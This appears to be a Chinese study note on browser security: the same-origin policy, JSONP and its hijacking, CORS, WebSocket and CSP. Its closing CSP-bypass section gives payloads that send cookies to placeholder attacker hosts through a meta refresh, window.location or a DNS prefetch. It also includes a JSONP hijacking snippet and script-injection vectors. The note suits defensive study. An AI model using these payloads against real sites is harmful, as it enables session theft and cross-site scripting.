同源策略
同源策略是一种浏览器安全策略。浏览器作为代理人,可通过安全策略控制前端的行为,过滤后端的响应。
所谓同源,是指:
两个网页,协议(protocol)、端口(port)、和主机(host)都相同.
同源策略限制了“什么资源”的跨域访问?
1.同源策略对网页的HTML文档做了限制,但加载静态资源如javascript、css、图片等是不受限制的。
2.页面中的链接,重定向以及表单提交是不会受到同源策略限制的,比如在网站www.foo.com下提交一个表单到www.bar.com是完全可以的。
3.跨域资源嵌入是允许的。
如果非同源,以下三种行为受到限制:
当前域下的 js 脚本不能够访问其他域下的 cookie、localStorage 和 indexDB
当前域下的 js 脚本不能够操作访问操作其他域下的 DOM。典型的例子是
iframe窗口和window.open方法打开的窗口,它们与父窗口无法通信当前域下ajax无法发送跨域请求
sessionStorage:保存的数据用于浏览器的一次会话,当会话结束(通常是该窗口关闭),数据被清空;
localStorage:保存的数据长期存在,下一次访问该网站的时候,网页可以直接读取以前保存的数据。除了保存期限的长短不同,这两个对象的属性和方法完全一样。
在浏览器中,script、img、iframe、link、video等标签都可以跨域加载资源,而不受同源策略的限制,通过 src 属性加载的资源,浏览器都会发起一个 GET 请求,但是浏览器限制了 JavaScript 的权限,使用js不能读、写加载的内容。这句话什么意思呢,其实就是,你可以通过这几个标签来跨域加载资源,但是,发起的GET请求 返回的数据,通过 js 获取不到。
注意:通过script标签获取 js 文件里的全局属性,方法等,可以通过 js 读取到。是因为这些都是挂载在 window对象上的
js执行的环境是当前url所在的域,跟js代码来源无关 如果子域名和顶级域名不同源,在哪里可以设置叫他们同源?
两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain属性共享 Cookie,拿到DOM等。
在根域范围内,可以 把domain属性的值设置为它的上一级域 ;
// 对于文档 www.example.com/good.html,
document.domain = "example.com";
var domain = document.domain;
//上边的写法是正确的
//但不能设置为 "example.com" 或者"example.org"
Ajax是否遵循同源策略?
同源政策规定,AJAX请求只能发给同源的网址,否则就报错
不同浏览器之间,安全策略有哪些不同?比如chrome,firefox,IE
当涉及到同源策略时,Internet Explorer 有两个主要的不同点
- 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),不遵守同源策略的限制。
- 端口:IE 未将端口号加入到同源策略的组成部分之中,
- 因此
http://company.com:81/index.html和http://company.com/index.html属于同源并且不受任何限制
跨域
如何规避同源策略?
- 以下三种方法可以规避同源策略的限制
- JSONP
- CORS
- WebSocket
JSONP
JSONP是服务器与客户端跨源通信的常用方法
JSON with Padding,填充式JSON或者说是参数式JSON
JSONP原理就是动态插入带有跨域url的<script>标签,然后调用回调函数
只能发送get请求
jsonp不能传输敏感数据
referer校验
jsonp的响应要设置成applicaiton/javascript,如果是text/html,可能xss
会随带 cookie 一起发送。
基本语法如下:
callback({ "name": "wintrysec" , "msg": "获取成功" });
JSONP两部分组成:回调函数和里面的数据。 回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定
向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};
//该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于JSONP是必需的
服务器收到这个请求以后,会将数据放在回调函数的参数位置返回
foo({
"ip": "8.8.8.8"
});
由于<script>元素请求的脚本,直接作为代码运行。
这时,只要浏览器定义了foo函数,该函数就会立即调用。
作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤
JSONP的劫持
JSON 劫持又为 JSON Hijacking ,这个问题属于 CSRF 攻击范畴。 当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时 攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问,来达到截取用户敏感信息的目的
一个典型的 JSON Hijacking 攻击代码(wooyun):
<script>
function wooyun(v){
alert(v.username);
}
</script>
<script src="http:/xx.cn/?o=sso&m=info&func=wooyun"></script>
当被攻击者在登陆 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持
JSONP防御
1. 验证 JSON 文件调用的来源 Referer
<script> 远程加载 JSON 文件时会发送 Referer
在网站输出 JSON 数据时判断 Referer 是不是白名单合法的,就可以进行防御
2.随机 token
存在reference伪造(qq.com.evil.com)、空reference、暴力穷举等问题
强大的PHP伪造IP头、Cookies、Reference(opens new window)
最有效的方式还是 综合防御(判断reference和添加随机字串),或使用加在url中的token可以完美解决 但是只要在该网站上出现一个 XSS 漏洞,那么利用这个 XSS 漏洞可能让你的防御体系瞬间崩溃
3.callback函数可定义的安全问题 callback函数的名称可以自定义,而输出环境又是js环境,如果没有严格过滤或审查,可以引起很多其他的攻击方式。
比如后台使用$callback = $_GET['callback'];print $callback.(data); 这样子,认为callback是可信的,而攻击者完全可以将alert(/xss/)作为callback参数传递进去。
这种问题有两种解决方案:
(1) 严格定义 Content-Type: application / json 这样的防御机制导致了浏览器不解析恶意插入的 XSS 代码
(2 )过滤 callback 以及 JSON 数据输出 这样的防御机制是比较传统的攻防思维,对输出点进行 xss 过滤
WebSocket
WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。
该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
为什么?
WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。
正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。
因为服务器可以根据这个字段,判断是否许可本次通信。
CORS(重点)
CORS 亦即跨域资源共享,是一种 HTTP 机制,它使用额外的 HTTP 响应头来告诉浏览器让其运行在一个 origin (domain) 上的 Web 应用被准许访问来自 不同源服务器 上的指定的资源。当一个资源从与该资源本身所在的服务器 不同的域、协议或端口 请求一个资源时,资源会发起一个 跨域 HTTP 请求。
值得注意的是,通常使用 CORS 时,异步请求会被分为简单请求和非简单请求,非简单请求的区别是会先发送一个 预检请求(Preflight Request)。
服务器预检请求 / 响应头
| 响应头 | 描述 |
| Access-Control-Allow-Headers | 请求头,响应头,预请求(携带 Cookie 情况下不能为 *) |
| Access-Control-Allow-Methods | 请求头,响应头,预请求(携带 Cookie 情况下不能为 *) |
| Access-Control-Allow-Origin | 响应头,预请求 / 正常请求(携带 Cookie 情况下不能为 *) |
| Access-Control-Allow-Credentials | 响应头,预请求/正常请求(携带 Cookie 情况下要设置为 true) |
| Access-Control-Max-Age | 响应头,预请求(单位 s) |
Access-Control-Allow-Origin 只能阻止浏览器端拿到服务器返回数据,服务端的处理还是会执行,要配合 token 鉴权令牌等策略来防范。
Access-Control-Allow-Origin 强烈不建议为null。本地文件系统、file:// ,data url ,沙箱化iframe, 浏览器会为他们指定新的源null.
可否使用请求体中的origin填充响应体中的 Access-Control-Allow-Origin,如果是,则存在漏洞
💡 实现细节请参考 HTTP 跨域资源共享
注意:CORS可以发起 GET、POST请求,但是发送的请求,默认不会随带 cookie 一起发送, 也不会接受后端发过来的 cookie;
要想随带cookie 一起发送。 需要在127.0.0.1:8080 index.php添加 header('Access-Control-Allow-Credentials:true');头部,然后在127.0.0.1:80 index.html中var xhr = new XMLHttpRequest();后面添加xhr.withCredentials = true;
dom中动态执行脚本
简单请求
只要同时满足以下两大条件,就属于简单请求。 (1) 请求方法是以下三种方法之一
HEAD
GET
POST
(2) HTTP的头信息不超出以下几种字段:
Accept
Accept-Language
Content-Language
Last-Event-ID
Content-Type:只限于三个值
application/x-www-form-urlencoded、multipart/form-data、text/plain
浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段
GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com
Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)
服务器根据这个值,决定是否同意这次请求
简单请求有三个重要的响应头
(1) Access-Control-Allow-Origin
该字段是必须的,它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求
(2)Access-Control-Allow-Credentials
该字段可选,它的值是一个布尔值,表示是否允许发送Cookie。
默认情况下,Cookie不包括在CORS请求之中。
设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。
这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可
(3) Access-Control-Expose-Headers
该字段可选,CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:
Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。
如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。
例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值
响应字段,可请求资源范围
Access-Control-Allow-Origin:* //表示同意任意跨源请求
非简单请求
即对服务器有特殊要求的请求,比如PUT方法,自定义HTTP-HEAD头部等
非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求
"预检"请求用OPTIONS方法询问服务器允许的方法
"预检"请求的头信息包括两个特殊字段。 (1)Access-Control-Request-Method 该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法. (2)Access-Control-Request-Headers 指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔
如果浏览器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段响应
服务器响应的其他CORS相关字段如下:
Access-Control-Allow-Methods: GET, POST, PUT //服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header //服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true //表示是否允许发送Cookie
Access-Control-Max-Age: 1728000 //用来指定本次预检请求的有效期,单位为秒
一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。
服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段
Github上的一个POC:github.com/trustedsec/…
python3 -m http.server --cgi
与JSONP的比较
CORS与JSONP的使用目的相同,但是比JSONP更强大。
JSONP只支持GET请求,CORS支持所有类型的HTTP请求。
JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
CSP是什么?如何设置CSP?
CSP(Content Security Policy)浏览器内容安全策略, 为了缓解部分跨站脚本问题 。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。
两种方法启用CSP
1. 添加HTTP头信息;
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:
2. 使用<meta>标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:">
参数解释
script-src(脚本):只信任当前域名
object-src(标签):不信任任何URL,即不加载任何资源
样式表:只信任http://cdn.example.org
框架(frame):必须使用HTTPS协议加载
CSP各种限制选项参考:知乎回答 (opens new window),CSP基础语法和绕过(opens new window)
绕过CSP(1、2、3、5 重点)
1.URL跳转
在default-src 'none'的情况下,可以使用meta标签实现跳转
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过
<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
2.link标签预加载
在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
3.利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用script标签的nonce属性,只有nonce一致的脚本才生效
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
//CSP设置nonce为abc属性的标签
那么当脚本插入点为如下的情况时
<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
可以插入
<script src=//14.rs a="
这样会拼成一个新的script标签,其中的src可以自由设定
<p><script src=//14.rs a="</p><script id="aa" nonce="abc">document.write('CSP');</script>
4.代码重用
假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval' "或者"script-src 'strict-dynamic'"
那么下面的向量就可以绕过CSP:
<div data-role=popup id='<script>alert(1)</script>'></div>
5.ifrmae
(1) 如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:
<iframe src="B"></iframe>
(2) 在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,
例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
6.meta标签
meta标签有一些不常用的功能有时候有奇效: meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce
<meta http-equiv="cache-control" content="public">
meta可以设置Cookie(Firefox下),可以结合self-xss利用
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">